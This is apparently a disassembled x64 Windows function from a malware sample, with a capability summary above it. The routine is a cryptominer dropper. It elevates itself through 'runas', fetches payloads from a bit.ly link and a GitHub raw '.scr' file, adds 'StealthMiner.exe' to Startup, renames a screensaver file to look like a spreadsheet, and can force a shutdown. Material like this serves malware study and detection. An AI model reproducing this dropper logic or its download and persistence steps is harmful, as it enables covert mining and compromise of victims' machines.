Function at 0x1400022d0
Capabilities:
Check if file exists
Create process on windows
Get file attributes
Get token membership
Move file
Query environment variable
Shutdown system

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x578]
sub rsp, 0x670
movaps xmmword [rax - 0x18], xmm6
mov rax, qword [0x140034080]
xor rax, rsp
mov qword [rbp + 0x550], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rsi, rax
xor r14d, r14d
mov dword [rsp + 0x70], r14d
mov qword [rsp + 0x60], r14
mov dword [rsp + 0x68], r14d
mov word [rsp + 0x6c], 0x500
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], r14d
mov dword [rsp + 0x40], r14d
mov dword [rsp + 0x38], r14d
mov dword [rsp + 0x30], r14d
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
mov r9d, 0x220
mov r8d, 0x20
mov dl, 2
lea rcx, [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x140002394
lea r8, [rsp + 0x70]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x140002389
mov dword [rsp + 0x70], r14d
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rsp + 0x70], 1
je 0x14000242d
mov r8d, 0x104
lea rdx, [rbp + 0x340]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xd0], xmm0
movups xmmword [rbp + 0xe0], xmm0
movups xmmword [rbp + 0xf0], xmm0
mov dword [rbp + 0x90], 0x70
lea rax, str.runas
mov qword [rbp + 0xa0], rax
lea rax, [rbp + 0x340]
mov qword [rbp + 0xa8], rax
mov ebx, 1
mov dword [rbp + 0xc0], ebx
lea rcx, [rbp + 0x90]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
xor eax, eax
jmp 0x140002a9e
lea rdx, str.https:__bit.ly_MINERZS
lea rcx, [rbp + 0x68]
call fcn.140003d10
nop
lea rdx, str._appdata_MicrosoftWindowsStart_MenuProgramsStartupStealthMiner.exe
lea rcx, [rbp + 8]
call fcn.140003d10
nop
lea rdx, str.https:__github.com_skibidzaa_pr_raw_main_dokument.scr
lea rcx, [rbp + 0x48]
call fcn.140003d10
nop
lea rdx, str.C:WindowsTempdokument.scr
lea rcx, [rbp - 0x48]
call fcn.140003d10
nop
lea rdx, str.C:WindowsTemp_regneark.xlsx
lea rcx, [rbp - 0x68]
call fcn.140003d10
nop
lea rcx, [rbp + 8]
cmp qword [rbp + 0x20], 7
cmova rcx, qword [rbp + 8]
mov r8d, 0x104
lea rdx, [rbp + 0x130]
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea rdx, [rbp + 0x130]
lea rcx, [rbp - 0x18]
call fcn.140003d10
nop
lea rdx, str._localappdata_MicrosoftTeams
lea rcx, [rsp + 0x78]
call fcn.140003d10
nop
lea rcx, [rsp + 0x78]
cmp qword [rbp - 0x70], 7
cmova rcx, qword [rsp + 0x78]
mov r8d, 0x104
lea rdx, [rbp + 0x130]
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea rax, [rbp + 0x130]
mov rdx, 0xffffffffffffffff
nop word [rax + rax]
inc rdx
cmp word [rax + rdx*2], 0
jne 0x140002500
mov rax, qword [rbp - 0x70]
cmp rdx, rax
ja 0x140002543
lea rdi, [rsp + 0x78]
cmp rax, 7
cmova rdi, qword [rsp + 0x78]
mov qword [rbp - 0x78], rdx
lea rbx, [rdx + rdx]
mov r8, rbx
lea rdx, [rbp + 0x130]
mov rcx, rdi
call fcn.1400219d0
mov word [rbx + rdi], r14w
jmp 0x140002554
lea r9, [rbp + 0x130]
lea rcx, [rsp + 0x78]
call fcn.140005430
lea rcx, [rsp + 0x78]
cmp qword [rbp - 0x70], 7
cmova rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
movdqa xmm6, xmmword [0x14002e800]
cmp eax, 0xffffffff
je 0x14000281e
test al, 0x10
je 0x14000281e
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x98], xmm0
movups xmmword [rbp + 0xa8], xmm0
movups xmmword [rbp + 0xb8], xmm0
movups xmmword [rbp + 0xc8], xmm0
movups xmmword [rbp + 0xd8], xmm0
movups xmmword [rbp + 0xe8], xmm0
movups xmmword [rbp + 0xf8], xmm0
movups xmmword [rbp + 0x108], xmm0
movups xmmword [rbp + 0x118], xmm0
mov qword [rbp + 0x128], rax
mov ebx, 1
mov dword [rbp + 0x90], ebx
mov ecx, 0x5b
mov word [rbp + 0x98], cx
mov dword [rbp + 0x9c], r14d
mov dword [rbp + 0xb8], ebx
mov eax, 0x44
mov word [rbp + 0xc0], ax
mov dword [rbp + 0xc4], r14d
mov dword [rbp + 0xe0], ebx
mov word [rbp + 0xe8], ax
mov dword [rbp + 0xec], 2
mov dword [rbp + 0x108], ebx
mov word [rbp + 0x110], cx
mov dword [rbp + 0x114], 2
mov r8d, 0x28
lea rdx, [rbp + 0x90]
mov ecx, 4
call qword [sym.imp.USER32.dll_SendInput]
mov qword [rsp + 0x60], rbx
lea rcx, [rsp + 0x60]
call fcn.140004cf0
mov edx, 6
mov rcx, rsi
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, str.C:WindowsTempStealthMiner.exe
lea rcx, [rbp + 0x28]
call fcn.140003d10
nop
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x68]
call fcn.140001da0
test al, al
je 0x1400027d2
lea rdx, [rbp - 0x48]
lea rcx, [rbp + 0x48]
call fcn.140001da0
test al, al
je 0x1400027d2
lea rdx, [rbp - 0x68]
cmp qword [rbp - 0x50], 7
cmova rdx, qword [rbp - 0x68]
lea rcx, [rbp - 0x48]
cmp qword [rbp - 0x30], 7
cmova rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
je 0x1400027d2
lea rcx, [rbp + 0x28]
call fcn.1400020f0
test al, al
je 0x1400027d2
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xd0], xmm0
movups xmmword [rbp + 0xe0], xmm0
movups xmmword [rbp + 0xf0], xmm0
mov dword [rbp + 0x90], 0x70
lea rax, [rbp - 0x18]
cmp qword [rbp], 7
cmova rax, qword [rbp - 0x18]
mov qword [rbp + 0xa8], rax
mov dword [rbp + 0xc0], r14d
lea rax, str.runas
mov qword [rbp + 0xa0], rax
lea rcx, [rbp + 0x90]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x1400027d2
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xd0], xmm0
movups xmmword [rbp + 0xe0], xmm0
movups xmmword [rbp + 0xf0], xmm0
mov dword [rbp + 0x90], 0x70
lea rax, [rbp - 0x68]
cmp qword [rbp - 0x50], 7
cmova rax, qword [rbp - 0x68]
mov qword [rbp + 0xa8], rax
lea rax, str.open
mov qword [rbp + 0xa0], rax
mov dword [rbp + 0xc0], ebx
lea rcx, [rbp + 0x90]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x1400027d2
mov ebx, r14d
mov rdx, qword [rbp + 0x40]
cmp rdx, 7
jbe 0x140002812
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000280d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002ad5
call fcn.140006940
movdqu xmmword [rbp + 0x38], xmm6
mov word [rbp + 0x28], r14w
jmp 0x140002898
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x60]
mov edx, 0x28
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140002895
lea r8, [rbp - 0x24]
lea rdx, str.SeShutdownPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov ebx, 1
mov dword [rbp - 0x28], ebx
mov dword [rbp - 0x1c], 2
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
mov r9d, 0x10
lea r8, [rbp - 0x28]
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x140002895
xor edx, edx
mov ecx, 5
call qword [sym.imp.USER32.dll_ExitWindowsEx]
mov ebx, r14d
mov rdx, qword [rbp - 0x70]
cmp rdx, 7
jbe 0x1400028d9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400028d4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002adb
call fcn.140006940
mov qword [rbp - 0x78], r14
mov qword [rbp - 0x70], 7
mov word [rsp + 0x78], r14w
mov rdx, qword [rbp]
cmp rdx, 7
jbe 0x14000292b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002926
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002ae1
call fcn.140006940
movdqu xmmword [rbp - 8], xmm6
mov word [rbp - 0x18], r14w
mov rdx, qword [rbp - 0x50]
cmp rdx, 7
jbe 0x140002975
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002970
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002ae7
call fcn.140006940
movdqu xmmword [rbp - 0x58], xmm6
mov word [rbp - 0x68], r14w
mov rdx, qword [rbp - 0x30]
cmp rdx, 7
jbe 0x1400029bf
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400029ba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002aed
call fcn.140006940
movdqu xmmword [rbp - 0x38], xmm6
mov word [rbp - 0x48], r14w
mov rdx, qword [rbp + 0x60]
cmp rdx, 7
jbe 0x140002a09
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002a04
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002af3
call fcn.140006940
movdqu xmmword [rbp + 0x58], xmm6
mov word [rbp + 0x48], r14w
mov rdx, qword [rbp + 0x20]
cmp rdx, 7
jbe 0x140002a53
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002a4e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002af9
call fcn.140006940
movdqu xmmword [rbp + 0x18], xmm6
mov word [rbp + 8], r14w
mov rdx, qword [rbp + 0x80]
cmp rdx, 7
jbe 0x140002a9c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002a97
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002acf
call fcn.140006940
mov eax, ebx
mov rcx, qword [rbp + 0x550]
xor rcx, rsp
call fcn.140006920
lea r11, [rsp + 0x670]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop rbp
ret
call fcn.14000e1c8
nop
call fcn.14000e1c8
nop
call fcn.14000e1c8
nop
call fcn.14000e1c8
nop
call fcn.14000e1c8
nop
call fcn.14000e1c8
nop
call fcn.14000e1c8
nop
call fcn.14000e1c8
int3